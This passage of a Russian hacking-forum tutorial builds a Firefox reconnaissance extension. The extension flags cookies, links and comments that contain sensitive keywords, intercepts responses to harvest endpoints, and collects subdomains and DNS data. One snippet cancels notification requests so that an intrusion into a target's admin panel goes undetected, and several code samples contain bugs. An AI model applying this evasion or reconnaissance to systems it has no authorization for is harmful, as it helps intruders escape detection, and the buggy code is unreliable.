    let cookies = cookiesData.map(({name, value, secure, session}) => {
        let cookieDecode = parseJwt(value)
        let cookieBS64Decode = checkBase64Value(cookieDecode)
        let isJSON = checkJSONValue(cookieBS64Decode)
        let isXML = checkXMLValue(cookieBS64Decode)
        let sensName = checkSensCookies(name)
        let sensValue = checkSensCookies(cookieBS64Decode)

        return {
            name, value, secure, session, isJSON, isXML, sensName, sensValue, base64decode: cookieDecode == cookieBS64Decode ? null : cookieBS64Decode
        }
    })
  
    saveDataFunction(hostname, 'cookies', cookies)

}

function checkSensCookies(value) { ... }

function checkBase64Value(originalValue) { ... }

function checkXMLValue(value) { ... }

function checkJSONValue(value) { ... }

function parseJwt (token) { ... }

Просто проходим по каждой куке последовательно применяя специализированные функции. Обратите внимательно где и какие переменные используются, чтобы разобраться к каким данным применяется та или иная функция. Оптимально, если накидаете консоль-логов и посмотрите вывод.

JavaScript:Copy to clipboard

function parseJwt (token) {
    let parts = token.split('.')
    if (parts != 3) return token
    return parts[1]
}

Здесь все просто, JWT состоит из трех отдельных частей. Если нет, то возвращается значение которое и получили. Если да, то возвращается среднее значение, так как оно в base64, а следующим действом мы будем пытаться декодировать значение:

JavaScript:Copy to clipboard

function checkBase64Value(originalValue) {
    let checkedValue = originalValue
    while(checkedValue.length % 4) checkedValue += '='

    try {
        decodeValue = atob(checkedValue)
        return decodeValue
    } catch (except) {
        return originalValue
    }
}

Соответственно, сначала наращиваем недостающие символы до корректного значения, после применяем декодирование. Как и в прошлой функции, если что-то пошло не так, возвращаем входящее значение.

JavaScript:Copy to clipboard

function checkXMLValue(value) {
    try{
        const parser = new DOMParser()
        const doc = parser.parseFromString(value, "application/xml")
        const errorNode = doc.querySelector("parsererror")

        if (errorNode) {
            return false
        } else {
            return true
        }
    } catch (e) {
        return false
    }

}

function checkJSONValue(value) {
    try {
        const json = JSON.parse(value)
        return true
    } catch(e) {
        return false
    }
}

Функции простые и полностью соответствуют своим названиям, поэтому задерживаться на них не буду. Завершает файл функция чека на наличие интересных значений:

JavaScript:Copy to clipboard

function checkSensCookies(value) {

    const sensetiveCookieNames = ['role', 'token', 'secret', 'id', 'userid', 'username', 'password']
    const sensValues = sensetiveCookieNames.map(sens => {
        if (value.search(sens) != -1)
            return sens
        return false
    }).filter(Boolean)

    return {value, sensValues}
}

Как и с комментариями, просто ищем вхождения. Самое время заняться выводом и он очень-очень будет похож на вывод инфы по комментариям. Начну с popup.html и сразу внесу в него то, что хочу увидеть в итоге. Если точнее, то добавлю табы для переключения между разными блоками информации и все блоки:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <script src="../bootstrap/bootstrap.min.js"></script>
    <title>Document</title>
</head>
<body style="width: 600px;padding: 20px 0; ">
    <div class="container">
        <ul class="nav nav-tabs">
            <li class="nav-item">
              <a class="nav-link" data-id="comments"href="#">Comments</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" data-id="cookies"href="#">Cookies</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" data-id="links"href="#">Links</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" data-id="dns"href="#">DNS Info</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" data-id="subdomains"href="#">Subdomains</a>
            </li>
            <li class="nav-item">
              <a class="nav-link active" data-id="about"href="#">About</a>
            </li>
          </ul>
      
        <div class="accordion tab-div" id="comments" style="display: none;">
            Comments is empty
        </div>       
        <div class="accordion tab-div" id="cookies" style="display: none;">
            Cookies is empty
        </div>       
        <div class="accordion tab-div" id="links" style="display: none;">
            <h2>Parsed from page</h2>
            <div class="container">
            
            </div>
            <h2>Links is empty</h2>
            <button id="responseMonitoring">Start background monitoring</button>
            <ul id="parsedLinks">


            </ul>
        </div>       
        <div class="container tab-div" id="dns" style="display: none;">
            <h3>Canonical Name</h3>
            <span id="dnsCanonicalName"></span>
            <h3>IP</h3>
            <ul id="dnsIP">


            </ul>
        </div>       
        <div class="container tab-div" id="subdomains" style="display: none;">
          <h2>Subdomains</h2>
          <button id="loadSubdomains">Parse from CRT.sh</button>
          <ul id="subdomains-list-crt"></ul>
          <h2>Other platforms:</h2>
          <button id="loadDNSInfo">Open tabs</button>
        </div>   


        <div class="container tab-div" id="about">
          <h2>About</h2>
          <p>
            Расширение не является готовым рабочим решением. Данное расширение было разработано исключительно в образовательных целей для статьи на сайте <a href="https://xss.is">XSS.is</a>. Прочитав статью, вы можете спокойно модифицировать расширение под свои задачи. Код поставляется "как есть" и не поддерживается автором.
          </p>
          <p>
            This extension was developed for educational purposes only for the <a href="https://xss.is">XSS.is</a> website. After reading the article, you can modify the extension to suit your needs. The code is provided "as is" and is not maintained by the author. 
          </p>
        </div>


      </div>   
    <script src="popup.js"></script>
</body>
</html>

Соответственно, в popup.js нужно повесить обработчики кликов по табам.

JavaScript:Copy to clipboard

document.querySelectorAll('.nav-link').forEach(navLink => {
    navLink.addEventListener('click', event => {
        event.preventDefault()
        document.querySelectorAll('.nav-link').forEach(elem => elem.classList.remove('active'))
        event.currentTarget.classList.add('active')
        document.querySelectorAll('.tab-div').forEach(elem => elem.style.display = 'none')
        document.querySelector(`#${event.currentTarget.dataset.id}`).style.display = 'block'
    })
})

Что касается вывода инфы по кукам, он будет идентичный комментариям. Забегая вперед скажу, что вывод спаршенных ссылок со страницы будет точно таким же. Городить три одинаковых функции, которые будут отличаться только парой параметров…. ну неет. Лучше сделаю отдельную сервисную функцию. Еще один момент, который мне не нравится, это то что URL получаем прямо в popup- скрипте. По хорошему, даже взаимодействие с хранилищем стоило бы вытащить в фоновый скрипт. Но хотя бы получение урла перетащил в фон, тем более там тоже его надо будет поулчать

JavaScript:Copy to clipboard

let url

(async function() {

    url = await getCurrentURL()

    browser.storage.local.get([url.hostname], savedValue => {
        let data = savedValue[url.hostname]

        if (!data) return
        if (data.comments && data.comments.length) printComments(data)       
        if (data.cookies && data.cookies.length) printCookies(data)
})()

async function getCurrentURL() {
    return new URL(await browser.runtime.sendMessage({action: 'getCurrentTabUrl'}))
}

function printComments({comments}) {
    printCheckedValues('#comments', comments, 'comment')
}

function printCookies({cookies}) {
    printCheckedValues('#cookies', cookies, 'cookie')
}

function printCheckedValues(selector, data, paramName) {
    let elemDiv = document.querySelector(selector)
      
    const elemsHTML = data.map((item, ind) => {
        console.log(item.sensValues.length, item[paramName])
        let body, button = `<span class="accordion-button collapsed text-success">${item.sensValues.length} | ${item[paramName].replaceAll('<', '&lt;')}</span>`

        if (item.sensValues.length) {
            button = `<button class="accordion-button collapsed text-danger" type="button"
                              data-bs-toggle="collapse" data-bs-target="#collapse${ind}"
                              aria-expanded="false" aria-controls="collapse${ind}">
                              ${item.sensValues.length} | ${item[paramName].replaceAll('<', '&lt;')}
                     </button>`
            body = `<div class="accordion-body">${item.sensValues.join(', ')}</div>`
        }
      
        return `<div class="accordion-item">
                    <h2 class="accordion-header">
                        ${button}
                    </h2>
                    <div id="collapse${ind}" class="accordion-collapse collapse" data-bs-parent="#accordionExample">
                        ${body}
                    </div>
                </div>`
    })       

    elemDiv.innerHTML = elemsHTML.join('')
}

Стало гораздо лучше. Теперь, если надо будет еще один подобный вывод, достаточно будет добавить новую функцию print с параметрами и все. Но не забываем, что background.js тоже надо бы поменять:

JavaScript:Copy to clipboard

let currentURL, currentUrlObj

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

browser.runtime.onInstalled.addListener(() => {
    browser.tabs.onActivated.addListener(getCurrentURL)
    browser.runtime.onMessage.addListener(onMessageHandler)
})

function saveData(hostname, key, object) {
    browser.storage.local.get([hostname], result => {
        browser.storage.local.set({[hostname]: {...result[hostname], [key]: object}})
    })
}

async function onMessageHandler(data) {

    if (data.action == 'saveData' && data.key && data.object) {
        if (typeof data.object == 'string')
            data.object = JSON.parse(data.object)
        return saveData(data.hostname, data.key, data.object)

    } else if (data.action == 'getCurrentTabUrl') {
      
        if (currentURL) return currentURL
        return currentURL

    } else if (data.action == 'getCookies') {

        let cookies = await browser.cookies.getAll({
            domain: data.hostname
        })

        checkCookies(data.hostname, cookies, saveData)
        return false

    }

    return false
}

Во-первых, добавились две переменных для хранения урла: одна в виде текста, вторая в виде объекта URL. Обе переменных получает функция getCurrentURL(). Функция эта может быть вызвана в двух случаях: при переключении пользователем вкладки или же если на момент запроса через сообщение “'getCurrentTabUrl'” переменная окажется пустой.

Парсинг ссылок со страницы​

Подробно останавливаться на процессе нет смысла, так как он практически идентичен обработке комментариев и кук, поэтому сразу к коду cs_linkSearch.js

JavaScript:Copy to clipboard

sensetiveLinkValues = ["admin", "control", "api", "panel", "dev"]
const aHref = Array.from(document.querySelectorAll('a')).map(link => encodeURI(link.href).toString()).filter(Boolean)
const linkHref = Array.from(document.querySelectorAll('link')).map(link => encodeURI(link.href).toString()).filter(Boolean)
const scriptSrc = Array.from(document.querySelectorAll('script')).map(link => encodeURI(link.src).toString()).filter(Boolean)
const allLinks = Array.from(new Set([...aHref, ...linkHref, ...scriptSrc]))

const pageLinks = allLinks.map( link => {
    if (link[0] == '#') return false
    const sensValues = sensetiveLinkValues.map(sens => {
        if (link.search(sens) != -1)
            return sens
        return false
    }).filter(Boolean)

    return {
        link,
        sensValues
    }
}).filter(Boolean)

browser.runtime.sendMessage({
    action: 'saveData',
    hostname: window.location.hostname,
    key: 'pageLinks',
    object: JSON.stringify(pageLinks)
})

Просто собираю все тэги a, link, script. Чищу от дублей и ищу чувствительные вхождения, типа “админ” и т.п. Можно обратить внимание, что передаю ссылку на сохранение привидя объект к строке. Ссылок может быть невероятное множество, поэтому перестраховываюсь.

Остается только чуть-чуть поправить вывод (popup.js):

JavaScript:Copy to clipboard

...
if (data.pageLinks && data.pageLinks.length) printPageLinks(data)
...

function printPageLinks({pageLinks}) {
    printCheckedValues('#links', pageLinks, 'link')
}

Обработка запросов/ответов​

Чтобы погрузиться глубже, нам потребуется объект webRequest. Этот объект позволяет отслеживать и взаимодействовать запросам и ответами на огромном количестве этапов. На портале разработчико Mozilla, есть схема демонстрирующая все этапы запросов/ответов. Эта схема красной нитью будет проходить практически через любое хакерское расширение, если речь не идет о каком-нибудь банальном справочнике:

1729908113503.png

Альтернативой для анализа запросов может выступать объект API “proxy”. В этой статье я не буду его разбирать, при желании вы можете добавить его в манифест в разрешения, после чего в фоновом скрипте подписаться на событие proxy.onRequest через метод addListener и самостоятельно изучить, какую информацию можно получить.

JavaScript:Copy to clipboard

browser.proxy.onRequest.addListener(
  listener,             //  function
  filter,               //  object
  extraInfoSpec         //  optional array of strings
)

В статье, будем анализировать приходящие к нам данные и искать в них ссылки. Хотя, конечно же, это не единственный вариант использования. Можно собирать пересылаемые параметры, искать ендпоинты API, анализировать запросы на предмет SSRF ну и т.д. Вплоть до модификации запросов и поиска XSS, или других уязвимостей, в полностью автоматическом режиме. К этому вернемся позже, а пока подпишемся на событие:

JavaScript:Copy to clipboard

function beforeRequestHandler(requestInfo) {
    console.log('requestInfo', requestInfo)
}

browser.webRequest.onBeforeRequest.addListener(beforeRequestHandler,
    {
        urls: ["<all_urls>"],
        types: ['main_frame', 'script', 'xml_dtd', 'xmlhttprequest'],
    }, ['blocking', 'requestBody']
);

Как понятно из названия, событие происходит перед отправкой запроса. При назначении слушателя, передаю ему функцию прослушивания, объект с фильтрами и массив экстра-параметров. Фильтры, соответственно, позволяют игнорировать ненужный контент, например, картинки. Или ограничивать адреса с которых обрабатывать запросы. Экстра-параметры, помогают настроить поведение.

В функцию слушателя передается параметр “details”, как его называют в MND(в моем случае “requestInfo”), в нем находится объект полностью описывающий запрос.

1729908159046.png

Что касается объекта фильтров… использую два параметра: urls и types, оба массива. В целом, они сами себя документируют. Обрабатываться будут все урлы, из которых будут выбираться:

  • Main_frame - это основной документ, который возвращает сервер (например, html-страница)
  • Скрипты
  • XML-файлы, которые так же могут содержать ссылки, а мы охотимся именно за ссылками.

В примере передаются параметры requestBody и blocking. “requestBody” указывает FF, что надо к объекту с деталями запроса добавить тело запроса. “blocking” более интересный параметр. Без него мы не сможем получить ответ сервера. Кроме того, с этим параметром мы можем вносить изменения в запрос перед отправкой или вовсе отменить его. Это нужно, например, если ваше расширение анализирует запрос перед отправкой и нашло какие-то опасные данные. Тогда можно настроить поведение, например, перекинув подобный запрос на страницу блокировки или просто отменив запрос.

Из ближайшего примера, могу вспомнить таргет, в котором о любом изменении в профиле пользователя улетало уведомление самому пользователю и админу. Забравшись в админку и, желая найти вторичную SQLi, я с досадой обнаружил дополнительный вопрос на sendNotify.php при каждом сохранении. Да, это странно, ведь отправку уведомления можно прилепить к функции отправки, но кто я такой чтобы спорить с разработчиком того ресурса?

Чтобы минимизировать риск обнаружения при помощи расширения, достаточно было добавить блокирующий экстра-параметр ["blocking"] для домена. Плюс, заменить возвращаемое значение на {cancel: true}; для запросов содержащих “sendNotify.php”. Не забыв добавить в манифест разрешение на “webRequestBlocking”.

JavaScript:Copy to clipboard

function beforeRequestHandler(requestInfo) {
    if (requestInfo.url.indexOf('sendNotify.php') > -1)
        return {cancel: true}
}

browser.webRequest.onBeforeRequest.addListener(beforeRequestHandler, {
    urls: ["https://your_target.com/*"],
    ["blocking"]
});

Другой вариант возвращать, вместо “cancel” , “redirectUrl” в котором передавать нужный URL. Например, выкидывать “ататат-страницу” при попытки получить взрослый контент.

Вернемся к нашему расширению.В манифест добавлю разрешения:

JavaScript:Copy to clipboard

"webRequest",
"webRequestBlocking",
"webRequestFilterResponse",

Перепишу beforeRequestHandler(), добавив в него фильтрацию ответов:

JavaScript:Copy to clipboard

function beforeRequestHandler(requestInfo) {
    let filter = browser.webRequest.filterResponseData(requestInfo.requestId)
    let decoder = new TextDecoder("utf-8")

    filter.ondata = (event) => {
        let str = decoder.decode(event.data, {stream: true});
        searchLinks(str)
        filter.write(event.data)
    };

    filter.onstop = (event) => {
        filter.disconnect()
    }

}

browser.webRequest.onBeforeRequest.addListener(beforeRequestHandler,
    {
        urls: ["<all_urls>"],
        types: ['main_frame', 'script', 'xml_dtd', 'xmlhttprequest'],
    }, ['blocking', 'requestBody']
);

Обратите внимание, что мы получаем не готовые данные, фильтр отдает поток данных и нам нужно обрабатывать событие “ondata”. Причем, обращаться вальяжно с потоком нельзя: обработка события блокирует поток, поэтому в конце обработки должна быть обязательная запись в поток данных, полученных в event.data. В ином случае, запрос прервется и данные никогда не попадут на вывод. К слову, декодировав поток, в него можно спокойно вносить изменения как в обычную строковую переменную, тем самым меняя поведение приложения... Но наша задача сегодня, это поиск ссылок. Для этого создам вспомогательную функцию, которая будет проходить регулярками по данным и сохранять полученные значения. Функцию сделаем асинхронной, чтобы максимально избежать блокирования потоков на время обработки.

Потребуется какое-то или какие-то регулярные выражения. Можно заморочиться и написать свои варианты, но когда есть готовое, нафига оно надо? Предлагаю обратиться к репозиторию JS Link Finder, это достаточно популярное расширение для Burp. У них есть достаточно интересное [регулярное выражение](https://github.com/PortSwigger/js-link- finder/blob/master/FransLinkfinder.py#L159).

Python:Copy to clipboard

regex_str = """
    
      (?:"|')                               # Start newline delimiter
    
      (
        ((?:[a-zA-Z]{1,10}://|//)           # Match a scheme [a-Z]*1-10 or //
        [^"'/]{1,}\.                        # Match a domainname (any character + dot)
        [a-zA-Z]{2,}[^"']{0,})              # The domainextension and/or path
    
        |
    
        ((?:/|\.\./|\./)                    # Start with /,../,./
        [^"'><,;| *()(%%$^/\\\[\]]          # Next character can't be...
        [^"'><,;|()]{1,})                   # Rest of the characters can't be
    
        |
    
        ([a-zA-Z0-9_\-/]{1,}/               # Relative endpoint with /
        [a-zA-Z0-9_\-/]{1,}                 # Resource name
        \.(?:[a-zA-Z]{1,4}|action)          # Rest + extension (length 1-4 or action)
        (?:[\?|/][^"|']{0,}|))              # ? mark with parameters
    
        |
    
        ([a-zA-Z0-9_\-]{1,}                 # filename
        \.(?:php|asp|aspx|jsp|json|
             action|html|js|txt|xml)             # . + extension
        (?:\?[^"|']{0,}|))                  # ? mark with parameters
    
      )
    
      (?:"|')                               # End newline delimiter
    
    """

Нужно просто привести его в порядок, откинув комментарии и переносы строк. На выходе получил такую функцию:

JavaScript:Copy to clipboard

async function searchLinks(text) {
    let linkRegEx = /(?:"|')(((?:[a-zA-Z]{1,10}:\/\/|\/\/)[^"'/]{1,}\.[a-zA-Z]{2,}[^"']{0,})|((?:\/|\.\.\/|\.\/)[^"'><,;| *()(%%$^/\\\[\]][^"'><,;|()]{1,})|([a-zA-Z0-9_\-/]{1,}\/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|/][^"|']{0,}|))|([a-zA-Z0-9_\-]{1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:\?[^"|']{0,}|)))(?:"|')/ig
    console.log(typeof text, text)
    text.matchAll(linkRegEx, "ig").forEach(console.log)
}

1729908310837.png

Тестирование прошло успешно, осталось избавиться от дублей, undefined и записать все в ссылки.

Но есть нюанс… если мониторить все ответы, система будет серьезно нагружена. Кроме того, что каждый ответ, в рамках всего браузера, надо будет прогнать через регулярку, нагрузку на систему даст процесс чистки от дублей и постоянного сохранения. Наиболее оптимальным вариантом вижу включение мониторинга пользователем. Во всплывающем окне уже добавлена кнопка, осталось её оживить и изменить процесс запуска мониторинга. Начну с popup.js:

JavaScript:Copy to clipboard

(async function() {
    ...
    initMonitoringButton(await checkRunningMonitoring())
    checkHasParsedLinks()
    ...
})()

...
async function checkHasParsedLinks() {
    let response = await browser.runtime.sendMessage({
        action: 'hasParsedLinks'
    })

    if (response.length) appendParsedLinks(response)
}

async function checkRunningMonitoring() {
    let response = await browser.runtime.sendMessage({
        action: 'checkMonitoring'
    })

    return response == 'running'
}

async function initMonitoringButton(running = false) {
    let btn = document.querySelector('#responseMonitoring')

    async function start(event) {
        event.preventDefault()
        console.log('Start Monitoring')
        await browser.runtime.sendMessage({
            action: 'startMonitoring'
        })       
        initMonitoringButton(await checkRunningMonitoring())
    }

    async function stop(event) {
        event.preventDefault()
        console.log('Stop Monitoring')
        await browser.runtime.sendMessage({
            action: 'removeMonitoring'
        })       
        initMonitoringButton(await checkRunningMonitoring())
    }

    if (running) {
        btn.innerHTML = `Stop`
        btn.removeEventListener('click', start)
        btn.addEventListener('click', stop)
    } else {
        btn.innerHTML = `Start`
        btn.removeEventListener('click', stop)
        btn.addEventListener('click', start)       
    }

}

browser.runtime.onMessage.addListener(updateParsedInfoHandler)

async function updateParsedInfoHandler(data) {

    if (data.action == 'response_links_update') {
        appendParsedLinks(data.newLinks)
    }
}

Появилось две функции: одна отвечает за поведение кнопки, вторая проверяет нет ли уже спаршенных ссылок, если есть то добавляет их. Дело в том, что для корректного парсинга ссылок, нужно перехватить запросы, как при начальной загрузке страницы, так и возможные запросы когда казалось бы ничего не происходит и сайт уже загружен. Второй нюанс в том, что скрипт popup.js срабатывает каждый раз при открытии попапа. Каждое открытие это чистый лист. Если не организовать какого-то временного хранения, каждый раз ссылки будут удаляться из интерфейса.

Чтобы решить эту проблему, организовал временное хранение спаршенных ссылок. Когда нажимается кнопка “Старт”, включается перехватчик запросов, список ссылок чиститься и страница обновляется. Перехватчик записывает найденные ссылки в хранилище до тех пор, пока не будет нажата кнопка “Стоп”. При открытии окна, через функцию checkHasParsedLinks() подгружаются уже сохраненные ссылки. Надеюсь не запутал)

Завершает все прослушиватель события в попап-скрипте. Он нужен для добавления новых ссылок, когда окно попапа открыто. Альтернативой может быть слушатель, который реагирует на изменения в хранилище (да, изменения в хранилище можно прослушивать), но в данном случае, это не очень рационально.

Файл background.js так же имеет ряд новых кусков кода:

JavaScript:Copy to clipboard

let currentURL, currentUrlObj
let parsedLinks = []

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

async function searchLinks(text) {
    let startLength = parsedLinks.length
    let linkRegEx = /(?:"|')(((?:[a-zA-Z]{1,10}:\/\/|\/\/)[^"'/]{1,}\.[a-zA-Z]{2,}[^"']{0,})|((?:\/|\.\.\/|\.\/)[^"'><,;| *()(%%$^/\\\[\]][^"'><,;|()]{1,})|([a-zA-Z0-9_\-/]{1,}\/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|/][^"|']{0,}|))|([a-zA-Z0-9_\-]{1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:\?[^"|']{0,}|)))(?:"|')/ig
    let results = text.match(linkRegEx)
  
    if (!results) return
  
    let allLinks = Array.from(new Set([...results, ...parsedLinks]))
    let newLinks = allLinks.filter(el => !parsedLinks.includes(el))

    parsedLinks = allLinks

    if (parsedLinks.length > startLength)
        browser.runtime.sendMessage({
            action: 'response_links_update',
            newLinks
        })
}

function beforeRequestHandler(requestInfo) {
    let filter = browser.webRequest.filterResponseData(requestInfo.requestId)
    let decoder = new TextDecoder("utf-8")

    filter.ondata = (event) => {
        let str = decoder.decode(event.data, {stream: true});
        searchLinks(str)
        filter.write(event.data)
    };

    filter.onstop = (event) => {
        filter.disconnect()
    }

}

function saveData(hostname, key, object) {
    browser.storage.local.get([hostname], result => {
        browser.storage.local.set({[hostname]: {...result[hostname], [key]: object}})
    })
}

browser.runtime.onInstalled.addListener(() => {
    browser.tabs.onActivated.addListener(getCurrentURL)
    browser.runtime.onMessage.addListener(onMessageHandler)
})

async function onMessageHandler(data) {

    if (data.action == 'saveData' && data.key && data.object) {
        if (typeof data.object == 'string')
            data.object = JSON.parse(data.object)
        return saveData(data.hostname, data.key, data.object)

    } else if (data.action == 'getCurrentTabUrl') {
      
        if (currentURL) return currentURL
        return currentURL

    } else if (data.action == 'getCookies') {

        let cookies = await browser.cookies.getAll({
            domain: data.hostname
        })

        checkCookies(data.hostname, cookies, saveData)
        return false

    } else if (data.action == 'checkMonitoring') {
      
        let hasListener = browser.webRequest.onBeforeRequest.hasListener(beforeRequestHandler)
        if (hasListener) return 'running'       
        return 'not running'

    } else if (data.action == 'startMonitoring') {
        parsedLinks = []
        let urls = [
            `${currentUrlObj.protocol}//${currentUrlObj.hostname}/*`,
            `${currentUrlObj.protocol}//*.${currentUrlObj.hostname}/*`
        ]
        await browser.webRequest.onBeforeRequest.addListener(beforeRequestHandler,
        {
                urls,
                types: ['main_frame', 'script', 'xml_dtd', 'xmlhttprequest'],
            },
            ['blocking', 'requestBody']
        );

        browser.tabs.query({active:true, currentWindow: true}).then(tabs => {
            let tab = tabs[0]
            browser.tabs.reload(tab.id, { bypassCache: true })
        })
      
        return 'running'

    } else if (data.action == 'removeMonitoring') {
        parsedLinks = []
        let hasListener = browser.webRequest.onBeforeRequest.removeListener(beforeRequestHandler)
        return hasListener

    } else if (data.action == 'hasParsedLinks') {
        return parsedLinks
    }
    return false
}

Появился массив спаршенных ссылок. Благодаря ему происходит отсеивание дублей плюс в popup пересылаются новые ссылки для добавления. Посмотрите на searchLinks(). Сначала запоминаем размерность массива с уже добытыми ссылками. Дальше объединяем уже добытые ссылки с новой партией и, при помощи Set, сносим дубли. После вычленяем только новые значения, отбрасывая все уже имеющееся в parsedLinks, чтобы переслать их в popup. Ну и сохраняем значения в хранилище.

Обратите внимание, как происходит добавление прослушивателя события, проверка на его наличие и удаление — везде используется только название функции. Никаких идентификаторов, ничего другого. Ниже мы еще вернемся к этой особенности, назначив персональный парсер для сервиса.

Собираем поддомены​

Админ-панели, версия для разработчиков, бэта-версии веб-приложений, phpMyAdmin… чего только не встретишь среди поддоменов. Подробно о способах сбора, можно посмотреть, например, в этой теме. Предлагаю использовать несколько сервисов и начать с crt.sh, так как это не требует какого-то гемороя. Достаточно выполнить GET-запрос https://crt.sh/?q=domain.tld&output=json

Так как это запрос к стороннему ресурсу, чтобы ничего не мешало запрос выполняем из background-скрипта:

JavaScript:Copy to clipboard

async function getSubdomains(hostname, saveDataFunction) {
    let domain = hostname.split('.').slice(-2).join('.')
    let headers = new Headers({
        "Content-Type" : "application/json",
        "User-Agent"   : navigator.userAgent
    });

    let response = await fetch(`https://crt.sh/?q=${domain}&output=json`, {
        method: 'GET',
        headers
    })

    let responseJson = await response.json()
    let subdomains =Array.from(new Set(responseJson.map(item => item.common_name)))   
    saveDataFunction(hostname, 'subdomains', subdomains)
    return subdomains
}

Если вы добрались до этого места, код должен быть предельно понятным. Запросили у сервиса данные в формате JSON, почистили и сохранили. Остановлюсь только на доменном имени. У нас в распоряжении есть имя хоста, что не очень хорошо. CRT.sh отдаст нам гораздо меньше информации, чем при использовании домена. Поэтому использовал самый простой хук: сплитанул хостнейм, удалил все кроме домена и TLD, после чего снова собрал. Вуаля, у нас есть чистый домен…

Для вывода в попап-скрипт добавляем к проверкам еще одну:

JavaScript:Copy to clipboard

if (data.subdomains && data.subdomains.length) printSubdomains(data.subdomains)

Ну и функция добавления поддоменов списком:

JavaScript:Copy to clipboard

function printSubdomains(subdomains) {
    let subdomainsList = document.querySelector('#subdomains-list-crt')
    subdomains.forEach(subdomain => {
        let li = document.createElement('li')
        li.innerText = subdomain
        subdomainsList.append(li)
    })
}

Очень люблю данные с censys, dnsinfo и других серисов. Но есть проблема в виде WAF и каптчи. Решать её можно по разному: пытаться обмануть CloudFlare, подключить сервис гадания каптчи, обращаться напрямую к API, подгружать страницу с каптчей пользователю и т.д. В статье буду использовать самый тупой и топорный вариант: добавлю кнопку, по нажатию которой откроются интересующие вкладки. Плюс добавлю парсер ответов dnsinfo, как пример. На его основе каждый сможет создать свой парсер.

Первым делом, назначим действие кнопке во всплывающем окне:

JavaScript:Copy to clipboard

document.querySelector('#loadDNSInfo').addEventListener('click', event => {
    event.preventDefault()
    browser.runtime.sendMessage({action: 'openDNSTabs', hostname: url.hostname})
})

Соответственно, в фоновом скрипте надо добавить обработчик. Ссылки на интересующие сервисы буду хранить в массиве, используя “$$$” для подстановки доменного имени:

JavaScript:Copy to clipboard

let domainCheckSites = [
    `https://viewdns.info/reverseip/?host=$$$&t=1`,
    `https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=$$$`,
    `https://www.shodan.io/search?query=$$$`
]

else if (data.action == 'openDNSTabs') {
        let domain = data.hostname.split('.').slice(-2).join('.')
        domainCheckSites.forEach(link => {
            let linkToOpen = link.replace('$$$', domain)

            browser.tabs.create({
                active: false,
                url: linkToOpen
            })
        })
    }

С DNSInfo поступим хитро. Перед открытием вкладок назначим перехватчик со следующими параметрами:

JavaScript:Copy to clipboard

else if (data.action == 'openDNSTabs') {

        let domain = data.hostname.split('.').slice(-2).join('.')
      
        parsedDNSInfoHost = data.hostname

        browser.webRequest.onBeforeRequest.addListener(parseDNSInfoHandler,
        {
            urls: [`https://viewdns.info/reverseip/?host=${domain}*`],
            types: ['main_frame'],
            },
                ['blocking']
        );

        domainCheckSites.forEach(link => {
            let linkToOpen = link.replace('$$$', domain)

            browser.tabs.create({
                active: false,
                url: linkToOpen
            })
        })
    }

Соответственно, перехватчик будет реагировать только на определенный поиск в dnsinfo, причем завязанный на конкретном домене. Обрабатывать будем “main_frame” по той причине, что вся нужная информация прилетает сразу в ответе, без каких-то дополнительных подгрузок. Имя хоста запомним, чтобы сохранить данные. Именно что запомним, на случай если до получения информации произойдет переключение вкладок.

Функция обработки

JavaScript:Copy to clipboard

function parseDNSInfoHandler(requestInfo) {
    let filter = browser.webRequest.filterResponseData(requestInfo.requestId)
    let decoder = new TextDecoder("utf-8")


    filter.ondata = (event) => {
        let str = decoder.decode(event.data, {stream: true});
        let ipRegex = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/
        let tableRegex = /(?<=<br><br>)<table.*<\/table>/mi
        let ip = str.match(ipRegex)[0]
        let table = str.match(tableRegex)

        if (table && table.length) {
            saveData(parsedDNSInfoHost, 'dnsinfo', {
                ip, table: btoa(table)
            })
        }

        filter.write(event.data)
    };

    filter.onstop = (event) => {
        filter.disconnect()
    }

    browser.webRequest.onBeforeRequest.removeListener(parseDNSInfoHandler)
}

Во многом уже знакомая. После назначения фильтра, сразу же удаляю прослушивание события. А зачем оно теперь нам? Как только сработает фильтр, мы получим нужные данные и забудем обо всем.

Внутри обработчика потока две регулярки. Одна парсит айпи, вторая таблицу. Да, чтобы не заморачиваться, просто заберу таблицу целиком. Чтобы проблем с хранением таблицы не возникло, кодирую её в base64.

Для вывода нужно совсем немногое:

JavaScript:Copy to clipboard

function printDNSInfo({dnsinfo}){
    document.querySelector('#dnsinfo-ip').innerText = dnsinfo.ip
    document.querySelector('#dnsinfodata').innerHTML = atob(dnsinfo.table)
}

Такой вот хитрый “бич”-способ парсить нужные данные с сервисов. Массово не напарсишься, но точечно поработать с объектом очень даже получится.

JS API интерфейс DNS​

Среди объектов API доступных расширениям, есть “dns”. При помощи него можно получить немного, но все же, информации.

Сначала добавлю в манифест разрешение на “dns”. После зайду в пустующий content.js (ну должны же мы в него хоть что-то положить) и добавлю:

JavaScript:Copy to clipboard

browser.runtime.sendMessage({
    action: 'getDNSInfo',
    hostname: window.location.hostname
})

Соответственно, в фоновый скрипт надо добавить обработчик соответствующего события:

JavaScript:Copy to clipboard

else if (data.action == 'getDNSInfo') {
        let response = await browser.dns.resolve(data.hostname, [
            "allow_name_collisions",
            "bypass_cache",
            "canonical_name",
          ])
        saveData(data.hostname, 'dns', response)
    }

Здесь мы просим браузер дать нам информацию с учетом:

  • allow_name_collisions - не фильтровать конфликты. Если прилетает противоречивая информация, браузер пытается её отфильтровать. Попросим его отключить этот фильтр.
